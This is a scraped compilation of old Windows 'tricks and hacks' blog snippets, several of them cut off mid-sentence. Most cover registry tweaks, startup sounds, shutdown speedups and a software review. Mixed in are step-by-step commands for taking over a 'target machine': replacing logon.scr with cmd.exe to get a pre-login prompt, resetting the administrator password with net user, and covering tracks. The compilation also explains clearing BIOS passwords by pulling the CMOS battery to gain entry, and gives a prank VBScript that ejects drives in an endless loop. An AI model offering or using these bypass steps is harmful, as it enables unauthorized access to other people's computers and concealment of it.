Any document that you open in Windows is added to the Recent Documents list. Now with this simple trick you can stop that!!! * Start ==> Run ==> Type "Regedit" * [HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Policies\Explorer] * Right Click on the right Pane and create a new DWORD value. * Assign Value Name as "NoRecentDocsHistory" * Data Type as "REG_DWORD (DWORD Value)" * If Value Data = 0 : disable restriction 1 : enable restriction

Have you ever felt bugged-up with the Start-up and Shutdown jingle of your Windows XP or Vista ? If yes, here is the solution, now you use any of your favorite voice or music or dialogue as your PC’s shutdown and start up. It’s a simple 4 step process. Step 1. Choose the track which you want to play at start-up and shutdown jingles, Limitations are * It should be in .WAV format. * The size of file should not be large, prefer keeping them within in 1 Mb, otherwise your startup will take a bit longer. If the file you want to make your start-up or shutdown is not in .WAV format, you can easily convert them using Jet Audio 7, or any other converter. Step 2. Now rename these files as “Windows XP Startup.WAV” and “Windows XP Shutdown.WAV” respectively. Step 3. Now Go to “C:\WINDOWS\MEDIA”, here you will find files “Windows XP Startup.WAV” and “Windows XP Shutdown.WAV”, move them to some other locations, this step is required for, in case you need to revert back these sounds, else you can ign...

This is the most simple and most useful hack that you must know. It lets you hack the BIOS and gain entry into any system that stores passwords in the BIOS. Just Do the following : 1. Open the CPU 2. Now, observe the motherboard . 3. You notice a coin like silver Battery ( 3V ). -------------------------- --- ------------ NOTE ------------------------------------------------ ------- - This battery is 24 x 7 power supply for the BIOS , which is used to run the system clock will the main power is off. It also initiates the booting process when power is switched on. --------------------------------------------------------------------- -------- -- -------------------- ------- - 4. Remove the battery from the motherboard . (It is safe to remove the Battery ) 5. Wait 30 seconds and place the battery back on the motherboard. 6. Now, when you start your system you won't be prompted for the BIOS password . Enjoy !!! ------ ------ ------ --- ------- --- ----- CAUTION ------ ----...

Though there are various softwares to lock up folders on your windows, but what if we can just do same thing without help of any software. Today here I am writing how to lock up a folder in windows without help of any software. Hope you all will enjoy this trick. Just follow some intructions : Type the following code in a note pad and save the note pad in your pc with the name ‘ NOMANs Lock Up.bat ‘ (that is with the extension of .bat). You can replace the ‘NOMAN’s Lock Up ‘ portion with anything u want to use. A batch file will be created where you have saved. Now double click on it, it will make a folder with the name ‘ Locker ‘ at the same place where the batch file is save. Now add the files you want to lock in that folder named “Locker”. Double click on the batch file. It will ask for locking the folder. Type ‘ Y ‘ OR ‘ y ‘ to lock the items. The folder will be locked and hidden. [NB: This is a very strong process. Even if you choose Tools - Folder Options… - View - Show hidden...

Enough of Computer Tricks here... Hm... lets try some Pranks on the Novice and Rookies.. what say? So... here comes my another Exclusive...! Eject your drives in and out infinitely... A simle VB Script will serve the purpose......!!! Do the following: ** Go to Start >> Run ** Type Notepad and hit Enter ** Now in Notepad type: Set oWMP = CreateObject("WMPlayer.OCX.7" ) Set colCDROMs = oWMP.cdromCollection if colCDROMs.Count >= 1 then do For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next ' cdrom For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next ' cdrom loop End If ** Go to File >> Save As... ** Type Eject.vbs and click Save How to use: $ Just Double Click the saved file ! (Eject.vbs) How To Stop: $ First Way: Restart the Computer... and this will stop the script $ Second Way: Open Task Manager and in processes search for wscript.exe and click End Process

This is a cool little computer trick for Microsoft Windows trick I’ve picked up in my travels and decided to share it with you fine and ethical individuals =). Log in and go to your DOS command prompt and enter these commands exactly: cd\ cd\windows\system32 mkdir temphack copy logon.scr temphack\logon.scr copy cmd.exe temphack\cmd.exe del logon.scr rename cmd.exe logon.scr exit So what you just told windows to backup is the command program and the screen saver file. Then you edited the settings so when windows loads the screen saver, you will get an unprotected dos prompt without logging in. When this appears enter this command that’s in parenthesis (net user password). So if the admin user name is Doug and you want the password 1234 then you would enter “net user Doug 1234″ and now you’ve changed the admin password to 1234. Log in, do what you want to do, copy the contents of temphack back into system32 to cover your tracks.

Registry Hacking Display legal notice on startup : Wanna tell your friends about the do's and dont's in your computer when they login in your absence. Well you can do it pretty easily by displaying a legal notice at system start up. REGEDIT [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system] "legalnoticecaption"="enter your notice caption" "legalnoticetext"="enter your legal notice text" Automatic Administrator Login: Well here's the trick which you can use to prove that Windows XP is not at all secure as multi-user operating system. Hacking the system registry from any account having access to system registry puts you in to the administrator account. REGEDIT 4 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] "AutoAdminLogon"="1" No Shutdown: Wanna play with your friends by removing the shutdown option from start menu in their computer. Just hack it down...

If you log into a limited account on your target machine and open up a dos prompt then enter this set of commands Exactly: cd\ *drops to root cd\windows\system32 *directs to the system32 dir mkdir temphack *creates the folder temphack copy logon.scr temphack\logon.scr *backsup logon.scr copy cmd.exe temphack\cmd.exe *backsup cmd.exe del logon.scr *deletes original logon.scr rename cmd.exe logon.scr *renames cmd.exe to logon.scr exit *quits dos Now what you have just done is told the computer to backup the command program and the screen saver file, then edits the settings so when the machine boots the screen saver you will get an unprotected dos prompt with out logging into XP. Once this happens if you enter this command minus the quotes "net user password" If the Administrator Account is called Frank and you want the password blah enter this "net user Frank blah" and this changes the password on franks machine to blah and your in. Have fun p.s: dont for...

I have some secret Windows tips and tricks here. Many are problems which you may encounter, but for which Windows does not provide a ready made solution. Registry Display a banner each time Windows boots 1. Start -> Run 2. Type regedit 3. Go to the key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WinLogon 4. Create a new string value in the right pane named LegalNoticeCaption and enter the value that you want to see in the menubar 5. Create a new string value and name it LegalNoticeText. Modify it and insert the message you want to display each time Windows boots. Windows Shutting down Windows the fastest way 1. Start -> Run 2. Type rundll.exe user.exe,exitwindows Internet Explorer Your browser logo shows something other than the IE logo. Maybe you have installed your ISP software and you have a different logo on the top right. How do you remove it? 1. Close all browser windows 2. Start -> Run 3. Type RunDLL32.EXE IEdkcs32.dll,Clear 4. Cli...

Here is a list of the coolest registry tricks i came across all these years, packed all in one. Do try these and discover amazing stuff. They are simple and explained in simple steps. But be careful because playing with registry is not a joke .. Display Your Quick Launch Toolbar Tip: Is your Quick Launch toolbar missing from the taskbar? To display your familiar Quick Launch toolbar: Right-click an empty area on the taskbar, click Toolbars, and then click Quick Launch. Easy as that your Quick Launch bar appears. To add items to your Quick Launch toolbar, click the icon for the program you want to add, and drag it to the Quick Launch portion of the taskbar. ==================================================================================== How to remove recycle bin from your desktop Tip: Open Regedit by going to START - RUN and type Regedit and hit enter. Then you should navigate to following entry in registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ Deskt...

Yet another series of tricks to significantly increase your windows XP's speed. This include removing uselessly enabled options that do nothing but just slow down the PC. Just follow these simple steps and boost up your PC to a new level. Disable CD Autorun ( WinXP PRO Only) 1) Click Start, Run and enter GPEDIT.MSC 2) Go to Computer Configuration, Administrative Templates, System. 3) Locate the entry for Turn autoplay off and modify it as you desire. Speed Up Browsing When you connect to a web site your computer sends information back and forth. Some of this information deals with resolving the site name to an IP address, the stuff that TCP/IP really deals with, not words. This is DNS information and is used so that you will not need to ask for the site location each and every time you visit the site. Although Windows XP and Windows XP have a pretty efficient DNS cache, you can increase its overall performance by increasing its size. You can do this with the registry entries below:...

If you are still stuck with FAT or FAT32 file system then its time to move on. Here is an easy trick lets you convert the FAT partitions to NTFS very easily. Click Start, click Programs, and then click Command Prompt. In Windows XP, click Start, click Run, type cmd and then click OK. At the command prompt, type CONVERT [driveletter]: /FS:NTFS. Convert.exe will attempt to convert the partition to NTFS. NOTE:= Although the chance of corruption or data loss during the conversion from FAT to NTFS is minimal, it is best to perform a full backup of the data on the drive that it is to be converted prior to executing the convert command.

By default windows XP doesn't show the Administrator in the user list at the welcome screen. This simple trick lets you just display admin account at the welcome scree. Here's a way to get around it.Just follow the simple steps. Now head up to HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon\SpecialAccounts\Userlist create a new DWORD entry and name it as Administrator and change its value to 1. exit and reboot for the changes to take effect. To change it back change its value to 0 or simply delete the key.

Today tip is very useful particularly for home users who want to protect their system default settings against unwanted changes that other users can make. For example changes in system desktop appearance, themes, and screen saver as well as other display settings. Using registry editor, you can disable the right click functionality on desktop to access the "Display Properties" dialog box and this will also prevent users to access windows explorer. Follow the given steps to disable the right click functionality on desktop: To use this feature, you will need to be logged into your computer with administrative rights. Click Start button and type regedit in Run option then press Enter for next. Here locate the location to: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer Here in right side panel, right click to create a new DWORD value with the name NoViewContextMenu (it is case sensitive), then assign number 1 in value...

This reg file automatically ends tasks and timeouts that prevent programs from shutting down and clears the Paging File on Exit. 1. Copy the following (everything in the box) into notepad. QUOTE Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management] "ClearPageFileAtShutdown"=dword:00000001 [HKEY_USERS\.DEFAULT\Control Panel\Desktop] "AutoEndTasks"="1" [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control] "WaitToKillServiceTimeout"="1000" 2. Save the file as shutdown.reg 3. Double click the file to import into your registry. NOTE: If your anti-virus software warns you of a "malicious" script, this is normal if you have "Script Safe" or similar technology enabled.

This trick lets you uninstall any program in windows XP/Vista/Windows 7 that doesn't feature an uninstall command or does not get deleted by simple removing it from the add/remove software option. Just follow the simple steps. Make a backup of the registry Shutdown the application, if it is running (If WinNT+ check also for services) Search the registry for any references to the directory where the application resides, and remove them Search the registry for any references to the name of the application, and remove them Start Regedit and drill down to : [HKEY_CURRENT_USER \Software \ ] [HKEY_LOCAL_MACHINE \Software \ ] [HKEY_LOCAL_MACHINE \Software \Microsoft \Windows \CurrentVersion \SharedDLLs] Rename the directory in which the application was installed in the first place Reboot and if everything goes well, then delete the renamed directory Use Explorer to to remove the entries from the Start Menu in either C:\Documents and Folders\All Users\Start Menu\...

You can make your shut down process a bit faster by the following tweak. Steps: ( download the registry file ) 1. This step is very important. Export (right click > Export) the following keys and save it to a safer place. HKEY CURRENT USER\Control Panel\Desktop HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control 2. Open Notepad , copy and paste the following to the Notepad. Windows Registry Editor Version 5.00 [HKEY_CURRENT_USER\Control Panel\Desktop] "AutoEndTasks"="1" "HungAppTimeout"="1000" "WaitToKillAppTimeout"="2000" [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control] "WaitToKillServiceTimeout"="2000" 3. Save the file and close Notepad. 4. Change extension of the file from .txt (text file) to .reg (registry file). 5. Double click open this file and click Yes and the OK .

Ashampoo's Winoptimizer is certainly one of the best software we have ever seen, packed with a huge stock of utilities that let you do a lot more with your windows. The latest sixth version saw its release this Wednesday on Download.com. Read the full review. What's new AntiSpy module: This tool claims to "deactivate potential spy functions." Upon closer inspection, the module really goes after apps and services that send data back to Microsoft. That's ideal for privacy nuts, but sensationalistic if that kind of app behavior doesn't bother you. Either way, you'll be able to manually or automatically configure settings, or can ignore them completely. Favorites tab: The freshly added tab monitors your five most-used modules alongside a list of statistics tracking your use of the program. Context Menu Manager: A negligible addition, it nevertheless gives you control over the contents of the context menu, which you see whenever you click the right mouse k...